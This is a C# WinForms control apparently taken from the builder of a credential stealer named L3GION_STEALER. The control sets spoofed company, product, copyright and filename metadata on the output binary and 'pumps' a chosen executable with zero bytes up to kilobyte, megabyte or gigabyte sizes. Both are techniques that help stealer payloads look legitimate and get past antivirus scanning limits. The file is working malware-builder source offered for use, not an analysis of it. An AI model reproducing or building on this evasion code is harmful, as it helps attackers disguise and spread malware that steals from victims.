using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Vestris.ResourceLib;
using System.Windows.Forms;
using legion.builder;
using System.IO;
using System.Threading;

namespace L3GION_STEALER
{
    public partial class asamlby : UserControl
    {
        public asamlby()
        {
            InitializeComponent();
        }

        private void asamlby_Load(object sender, EventArgs e)
        {
         

        }

        private void prodc_TextChanged(object sender, EventArgs e)
        {

        }
        private void RefreshControls()
        {
            Settings.CompanyName = comp.Text;
            Settings.FileDescription = desc.Text;
            Settings.ProductName = prodc.Text;
            Settings.LegalCopyright = copa.Text;
            Settings.LegalTrademarks = rade.Text;
            Settings.InternalName = innma.Text;
            Settings.OriginalFilename = orina.Text;
        }
        private void siticoneButton4_Click(object sender, EventArgs e)
        {
            RefreshControls();

        }

        private void innma_TextChanged(object sender, EventArgs e)
        {
            RefreshControls();
        }

        private void orina_TextChanged(object sender, EventArgs e)
        {
            RefreshControls();

        }

        private void desc_TextChanged(object sender, EventArgs e)
        {
            RefreshControls();


        }

        private void copa_TextChanged(object sender, EventArgs e)
        {
            RefreshControls();

        }

        private void rade_TextChanged(object sender, EventArgs e)
        {
            RefreshControls();

        }
        public void Pump()
        {
            try
            {
                var file = File.OpenWrite(siticoneTextBox1.Text);
                var siz = file.Seek(0, SeekOrigin.End);
                var size = Convert.ToInt64(siticoneTrackBar1.Value.ToString());
                if (siticoneRadioButton1.Checked)
                { 
                    decimal bite = size * 1024 ;
                
                while (siz < bite)
                {
                    siz++;
                    file.WriteByte(0);
                }
                file.Close();
                }
                if (siticoneRadioButton2.Checked)
                {
                    decimal bite = size * 1024 * 1024;

                    while (siz < bite)
                    {
                        siz++;
                        file.WriteByte(0);
                    }
                    file.Close();
                }
                if (siticoneRadioButton3.Checked)
                {
                    decimal bite = size * 1024 * 1024 * 1024;

                    while (siz < bite)
                    {
                        siz++;
                        file.WriteByte(0);
                    }
                    file.Close();
                }
                MessageBox.Show("File Pumped Successfully!", "", MessageBoxButtons.OK, MessageBoxIcon.Information);
            }

            catch (Exception ex)
            {
                MessageBox.Show(ex.Message);
            }

        }


        private void siticoneTrackBar1_Scroll(object sender, ScrollEventArgs e)
        {
            label13.Text = siticoneTrackBar1.Value.ToString();
        }

        private void siticoneRadioButton2_CheckedChanged(object sender, EventArgs e)
        {
            label12.Text = "MB :-";

            if (siticoneRadioButton2.Checked)
            {
                label13.Text = "1";
                siticoneTrackBar1.Value = 1;
                siticoneTrackBar1.Maximum = 2500;
            }
        }

        private void siticoneRadioButton3_CheckedChanged(object sender, EventArgs e)
        {
            label12.Text = "GB :-";
            if (siticoneRadioButton3.Checked)
            {
                label13.Text = "1";
                siticoneTrackBar1.Value = 1;
                siticoneTrackBar1.Maximum = 100;
            }
        }

        private void siticoneButton1_Click(object sender, EventArgs e)
        {
            OpenFileDialog openFileDialog1 = new OpenFileDialog();
            openFileDialog1.DefaultExt = "exe";
            openFileDialog1.Filter = "exe files (*.exe)|*.exe";
            openFileDialog1.FilterIndex = 1;
            openFileDialog1.InitialDirectory = @".";
            openFileDialog1.Title = "Open File you want to pump..";
            if (openFileDialog1.ShowDialog(this) == DialogResult.OK)
            {
                siticoneTextBox1.Text = string.Empty;
                siticoneTextBox1.Text = openFileDialog1.FileName;
            }
        }

        private void siticoneTextBox1_TextChanged(object sender, EventArgs e)
        {

        }

        private void siticoneButton2_Click(object sender, EventArgs e)
        {
            Thread thread = new Thread(Pump);
            thread.Start();
        }

        private void siticoneRadioButton1_CheckedChanged(object sender, EventArgs e)
        {
            if (siticoneRadioButton1.Checked)
            {
                label13.Text = "1";
                siticoneTrackBar1.Value = 1;
                siticoneTrackBar1.Maximum = 2500;
            }

            label12.Text = "KB :-";
        }
    }
}
